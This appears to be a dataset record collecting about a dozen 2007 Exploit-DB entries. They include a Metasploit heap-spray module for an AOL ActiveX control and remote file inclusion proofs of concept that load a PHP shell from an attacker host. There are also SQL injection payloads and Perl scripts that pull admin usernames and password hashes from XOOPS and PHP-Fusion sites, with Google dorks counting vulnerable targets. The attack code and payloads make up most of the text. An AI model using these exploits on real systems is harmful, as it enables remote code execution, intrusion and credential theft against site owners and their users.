QLWD/code_shield huggingface dataset:
标题: AOL SuperBuddy - ActiveX Control Remote Code Execution (Metasploit) EDB-ID: 3662 CVE: 2006-5820 类型: REMOTE 平台: WINDOWS 发布日期: 2007-04-04 漏洞利用脚本: require 'msf/core'

module Msf

class Exploits::Windows::Browser::AOL_SuperBuddy_LinkSBIcons < Msf::Exploit::Remote

 include Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'AOL Sb.Superbuddy vulnerability',
   'Description'    => %q{
    This module exploits a flaw in AOL Sb.SuperBuddy. We stole this code from a pre-existing metasploit module.
   },
   'License'        => MSF_LICENSE,
   'Author'         => 
    [ 
     'kradchad',
     'leetpete'
    ],
   'Version'        => '0.1',
   'References'     => 
    [
     [ 'CVE', 'CVE-2006-5820']
    ],
   'Payload'        =>
    {
     'Space'          => 1024,
     'BadChars'       => "\x00",
 
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Windows XP SP0-SP2 / IE 6.0SP1 English', {'Ret' => 0x0c0c0c0c} ]
    ],
   'DefaultTarget'  => 0))
 end

 def autofilter
  false
 end
 
 def on_request_uri(cli, request)

  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Encode the shellcode
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
  
  # Get a unicode friendly version of the return address
  addr_word  = [target.ret].pack('V').unpack('H*')[0][0,4]

  # Randomize the javascript variable names 
  var_buffer    = rand_text_alpha(rand(30)+2)
  var_shellcode = rand_text_alpha(rand(30)+2)
  var_unescape  = rand_text_alpha(rand(30)+2)
  var_x         = rand_text_alpha(rand(30)+2)
  var_i         = rand_text_alpha(rand(30)+2)
  var_tic       = rand_text_alpha(rand(30)+2)
  var_toc       = rand_text_alpha(rand(30)+2)
  
  # Randomize HTML data
  html          = rand_text_alpha(rand(30)+2)
  
  # Build out the message
  content = %Q|
<html>
<head>
 <script>
 try {
 
 var #{var_unescape}  = unescape ;
 var #{var_shellcode} = #{var_unescape}( "#{shellcode}" ) ;
 
 var #{var_buffer} = #{var_unescape}( "%u#{addr_word}" ) ;
 while (#{var_buffer}.length <= 0x100000) #{var_buffer}+=#{var_buffer} ;

 var #{var_x} = new Array() ; 
 for ( var #{var_i} =0 ; #{var_i} < 120 ; #{var_i}++ ) {
  #{var_x}[ #{var_i} ] =   
   #{var_buffer}.substring( 0 ,  0x100000 - #{var_shellcode}.length ) + #{var_shellcode} ;
 }
 
 
    var #{var_tic} = new ActiveXObject( 'Sb.SuperBuddy.1' ); 
 try { #{var_tic}.LinkSBIcons( #{target.ret} ) ; } catch( e ) { }

 
 } catch( e ) { window.location = 'about:blank' ; }
 
 </script>
</head>
<body>
#{html}
</body>
</html>  
  |

  # Randomize the whitespace in the document
  content.gsub!(/\s+/) do |s|
   len = rand(100)+2
   set = "\x09\x20\x0d\x0a"
   buf = ''
   
   while (buf.length < len)
    buf << set[rand(set.length)].chr
   end
   
   buf
  end
  
  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)
 end

end

end

# milw0rm.com [2007-04-04] URL: https://www.exploit-db.com/exploits/3662
标题: Really Simple PHP and Ajax (RSPA) 2007-03-23 - Remote File Inclusion EDB-ID: 3641 CVE: 2007-1982 2007-1851 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-02 漏洞利用脚本: RSPA Remote File Inclusion

Really Simple PHP and Ajax (RSPA)
RSPA is a component based event driven ajax enabled framework for PHP4 and PHP 5. It is a combination of plane PHP class and HTML/Javascript.RSPA allows calling server side PHP functions from client javascript events. Visit http://rspa.sourceforge.net

Credit:
The information has been provided by Hamid Ebadi
The original article can be found at : http://www.bugtraq.ir

http://www.bugtraq.ir/articles/advisory/RSPA_File_Inclusion/6

Vulnerable Systems:
Version: rspa-2007-03-23

Description:
Input passed to the" __IncludeFilePHPClass ", " __ClassPath" and " __class" parameters in "rspa/framework/Controller_v5.php" and " rspa/framework/Controller_v4.php " is not properly verified before being used to include files. This can be exploited to execute arbitrary PHP code by including files from local or external resources.


read more about file inclusion in http://www.bugtraq.ir/articles

Vulnerable Code :
require_once("rspaconf.inc.php");

 $className = $_REQUEST['__class'];
 $methordName =  $_REQUEST['__methord'];

 // IncludeFile for PHP Class
  if ($_REQUEST['__IncludeFilePHPClass']){
   $filename = $_REQUEST['__IncludeFilePHPClass'];
   require_once ($filename);
  }

 // Parms
  if (isset($_REQUEST['__parameters'])){$parameter = getParms($_REQUEST['__parameters']);}else{$parameter="";}

 // ClassFile + ClassPath
  include ("../components/Form.class.php");
   if ($_REQUEST["__ClassPath"]=="null" || empty($_REQUEST["__ClassPath"])){
    $filename = $RSPA['class_folder'].$className.$RSPA['class_extension'];
   }else{
    $filename = $_REQUEST["__ClassPath"].$className.$RSPA['class_extension'];
   }
   require_once($filename);



POC exploit :
The following URL will cause remote file inclusion

http://[HOST]/rspa/framework/Controller_v5.php?__IncludeFilePHPClass=http://attacker/phpshell.txt/?
http://[HOST]/rspa/framework/Controller_v4.php?__ClassPath=http://attacker/phpshell.txt/?

[ http://www.bugtraq.ir/articles/advisory/RSPA_File_Inclusion/6 ]

# copyright : http://www.bugtraq.ir

# milw0rm.com [2007-04-02] URL: https://www.exploit-db.com/exploits/3641
标题: PHP-Fusion Module Arcade 1.0 - 'cid' SQL Injection EDB-ID: 3640 CVE: 2007-1978 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-02 漏洞利用脚本: --------------------------------

PHP-FUSION Arcade Module (cid) Remote SQL Injection Vuln

--------------------------------

Bulan: xoron

xoron.biz 

--------------------------------

Exploit: 

index.php?op=view_game_list&cid=-1/**/union/**/select/**/null,user_name,user_password,null,null,null/**/from/**/fusion_users/*

--------------------------------

Exapmle: http://www.basicwallpapers.dk/infusions/arcade/

--------------------------------

Google Dork:
/infusions/arcade/   18.000 sites:)

--------------------------------

Ekin0x  / -->  evilc0der.org  <--

--------------------------------

# milw0rm.com [2007-04-02] URL: https://www.exploit-db.com/exploits/3640
标题: XOOPS Module WF-Section 1.01 - 'articleId' SQL Injection EDB-ID: 3644 CVE: 2007-1974 2005-0725 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-02 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: XOOPS Module WF-Section <= 1.01 (articleid) Remote BLIND SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[Dork       : "inurl:/modules/wfsection/" Result:808.000
#[Example S. : http://www.google.com.tr/search?q=inurl:/modules/wfsection/&hl=tr&start=90&sa=N
#[S.Page     : http://xoops.org/
#[$$         : Free
#[..         : ajann,Turkey


use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//  XOOPS Module WF-Section <= 1.01 (articleid) Remote BLIND SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$kapan = "/*";
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/modules/wfsection/print.php?articleid=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }

print "User ID (uid): ";
$id = <STDIN>;
chop ($id);

$target = "9999999%20union%20select%201111,2222,3333,4444,concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass),6666,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20xoops_users%20where%20uid%20like%20".$id.$kapan;
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /password:(.*?)<br \/>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-04-02] URL: https://www.exploit-db.com/exploits/3644
标题: Microsoft Windows - Animated Cursor '.ani' Remote (eeye patch Bypass) EDB-ID: 3636 CVE: 2007-1765 2007-0038 类型: REMOTE 平台: WINDOWS 发布日期: 2007-04-01 漏洞利用脚本: ..::[ jamikazu presents ]::..

Windows Animated Cursor Handling Exploit (0day) (Version3)

Works on fully patched Windows Vista
I think it is first real remote code execution exploit on vista =)

Tested on:
Windows Vista Enterprise Version 6.0 (Build 6000) (default installation and UAC enabled)
Windows Vista Ultimate Version 6.0 (Build 6000) (default installation and UAC enabled)
Windows XP SP2 
(It also must to work on all nt based windows but not tested)

Update: It also bypass eeye security ani patch!

Author: jamikazu 
Mail: jamikazu@gmail.com

Bug discovered by determina (http://www.determina.com)

Credit: milw0rm,metasploit, SkyLined, http://doctus.net/

invokes calc.exe if successful 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/3636.zip (04012007-exp.zip)

# milw0rm.com [2007-04-01] URL: https://www.exploit-db.com/exploits/3636
标题: XOOPS Module myAlbum-P 2.0 - 'cid' SQL Injection EDB-ID: 3632 CVE: 2007-1807 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-01 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: XOOPS Module myAlbum-P <= 2.0 (cid) Remote BLIND SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[Dork       :  myAlbum-P 2.0   (original)
#[Example S. : http://www.google.com.tr/search?q=+myAlbum-P+2.0+++(original)&hl=tr&start=0&sa=N
#[S.Page     : http://www.peak.ne.jp/xoops/
#[$$         : Free
#[..         : ajann,Turkey


use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//  XOOPS Module myAlbum-P <= 2.0 (cid) Remote BLIND SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$kapan = "/*";
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/modules/myalbum/viewcat.php?cid=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }

print "User ID (uid): ";
$id = <STDIN>;
chop ($id);

$target = "9999999%20union%20select%201111,concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass)%20from%20xoops_users%20where%20uid%20like%20".$id.$kapan;
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /password:(.*?)<\/a>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-04-01] URL: https://www.exploit-db.com/exploits/3632
标题: PHP-Fusion Module topliste 1.0 - 'cid' SQL Injection EDB-ID: 3639 CVE: 2007-1980 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-02 漏洞利用脚本: --------------------------------

PHP-FUSION topliste Module (cid) Remote SQL Injection Vuln

--------------------------------

Bulan: xoron - unique

xoron.biz 

--------------------------------

Exploit: 

index.php?cid=-1/**/UNION/**/SELECT/**/0,1,2,3,user_name,user_password,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/**/FROM/**/fusion_users/*

--------------------------------

Exapmle: http://www.321spil.dk/infusions/topliste/

--------------------------------

Google Dork:
infusions/topliste/   990 sites:)

--------------------------------

Ekin0x  / -->  evilc0der.org  <--

--------------------------------

# milw0rm.com [2007-04-02] URL: https://www.exploit-db.com/exploits/3639
标题: XOOPS Module Zmagazine 1.0 - 'print.php' SQL Injection EDB-ID: 3646 CVE: 2007-1974 2005-0725 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-02 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: XOOPS Module Zmagazine 1.0 (print.php) Remote BLIND SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[Dork       : "inurl:/modules/zmagazine/" Result:20.800
#[Example S. : http://www.google.com.tr/search?q=inurl:/modules/zmagazine/&hl=tr&start=0&sa=N
#[S.Page     : http://xoops.org/
#[$$         : Free
#[..         : ajann,Turkey


use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//  XOOPS Module Zmagazine 1.0 (print.php) Remote BLIND SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$kapan = "/*";
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/modules/zmagazine/print.php?articleid=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }

print "User ID (uid): ";
$id = <STDIN>;
chop ($id);

$target = "9999999%20union%20select%201,2,3,concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass),5,6,7,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20xoops_users%20where%20uid%20like%20".$id.$kapan;
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /password:(.*?)<\/h2>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-04-02] URL: https://www.exploit-db.com/exploits/3646
标题: Microsoft Windows XP - Animated Cursor '.ani' Remote Overflow (2) EDB-ID: 3635 CVE: 2007-1765 2007-0038 类型: REMOTE 平台: WINDOWS 发布日期: 2007-04-01 漏洞利用脚本: Microsoft ANI Buffer Overflow Exploit

Author: Trirat Puttaraksa
http://sf-freedom.blogspot.com

Tested on: Windows XP SP2 fully patched + IE 6 SP2

For educational purpose only

There are many confuses about this vulnerability. Someone said that this could
not be exploited in XP SP2 - that's wrong. I provide this exploit because I 
wanna to tell these people that they are in danger. 
This exploit will call calc.exe (shellcode fome metasploit win32_exec 
CMD=calc.exe EXITFUNC=process).

P.S. I do not include the source code for generate the .ani file because of
its damage. However, if you reverse engineer .ani file, you will know how
could I produce this exploit in 10 minutes.

I will describe this vulnerability and how to exploit it in my blog 
after M$ released patch.

greets: used SkyLined's idea of exploitation.  tnx to him.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/3635.zip (04012007-ani.zip)

# milw0rm.com [2007-04-01] URL: https://www.exploit-db.com/exploits/3635
标题: MapLab MS4W 2.2.1 - Remote File Inclusion EDB-ID: 3638 CVE: 2007-1843 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-02 漏洞利用脚本: Bug Found By ka0x
D.O.M TEAM
we are: anonyph;arp;ka0x;xarnuz
Contact: ka0x01@gmail.com
FROM SPAIN
---

Script: MapLab
Version: 2.2.1
Official Site: http://www.maptools.org
Download: http://www.maptools.org/dl/ms4w/maplab_ms4w-2.2.1.zip

--

Bug File: params.php
Path: /htdocs/gmapfactory/params.php

Bug code in line 130:
include_once($gszAppPath."htdocs/gmapfactory/build_phtml.php");

--
Dorks:

index.of /maplab-2.2
intitle:MapLab
index.of /maplab-2.2
index.of /maplab/

--

Exploit:
http://site.com/pathmaplab/htdocs/gmapfactory/params.php?gszAppPath=[EvilScript] 

# milw0rm.com [2007-04-02] URL: https://www.exploit-db.com/exploits/3638
标题: Microsoft Windows XP/Vista - Animated Cursor '.ani' Remote Overflow EDB-ID: 3634 CVE: 2007-1765 2007-0038 类型: REMOTE 平台: WINDOWS 发布日期: 2007-04-01 漏洞利用脚本: ..::[ jamikazu presents ]::..

Windows Animated Cursor Handling Exploit (0day)

Works on fully patched Windows Vista
I think it is first real remote code execution exploit on vista =)

Tested on:
Windows Vista Enterprise Version 6.0 (Build 6000) (default installation and UAC enabled)
Windows Vista Ultimate Version 6.0 (Build 6000) (default installation and UAC enabled)
Windows XP SP2 
(It also must to work on all nt based windows but not tested)

Author: jamikazu 
Mail: jamikazu@gmail.com

Bug discovered by determina (http://www.determina.com)

Credit: milw0rm,metasploit, SkyLined, http://doctus.net/

invokes calc.exe if successful 


https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/3634.zip (04012007-Animated_Cursor_Exploit.zip)

# milw0rm.com [2007-04-01] URL: https://www.exploit-db.com/exploits/3634
标题: FlexPHPNews 0.0.5 - 'newsid' SQL Injection EDB-ID: 3631 CVE: 2005-1237 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-01 漏洞利用脚本: .-""""""""-.                                 
                                                         /   Dj7xpl   \                              
                                                        |              |                                
                                                        |,  .-.  .-.  ,|                                
                                                        | )(_o/  \o_)( |                                     
                                                        |/     /\     \|                                 
                                              (@_       (_     ^^     _)                  
                                         _     ) \_______\__|IIIIII|__/_______________________________
                                        (_)@8@8{}<________|-\IIIIII/-|________________________________>
                                               )_/        \          / 
                                               (@
              
+_______________________________________________Iranian Are The Best In World___________________________________________+
*
*
*       [~] Portal.......:    Flexphpnews version 0.0.5
* [~] Download.....:    http://www.china-on-site.com/flexphpsite/other.php
* [~] Author.......:    Dj7xpl  | Dj7xpl@yahoo.com
* [~] Class........:    Remote SQL Injection Vulnerability
*
+_______________________________________________________________________________________________________________________+


+_______________________________________________________________________________________________________________________+
*
*
*       [~] Exploit......:     http://[Taget]/[Path]/news.php?newsid=999+union+select+0,username,password+from+newsadmin
*
+_______________________________________________________________________________________________________________________+


+_______________________________________________________________________________________________________________________+
*
*
*       [~] Sp Tnx.......:     Milw0rm, Ashiyane, Delta Hacking, Virangar, Hackerz.ir, Shabgard.org, Simorgh .........
*
+_______________________________________________________________________________________________________________________+

# milw0rm.com [2007-04-01] URL: https://www.exploit-db.com/exploits/3631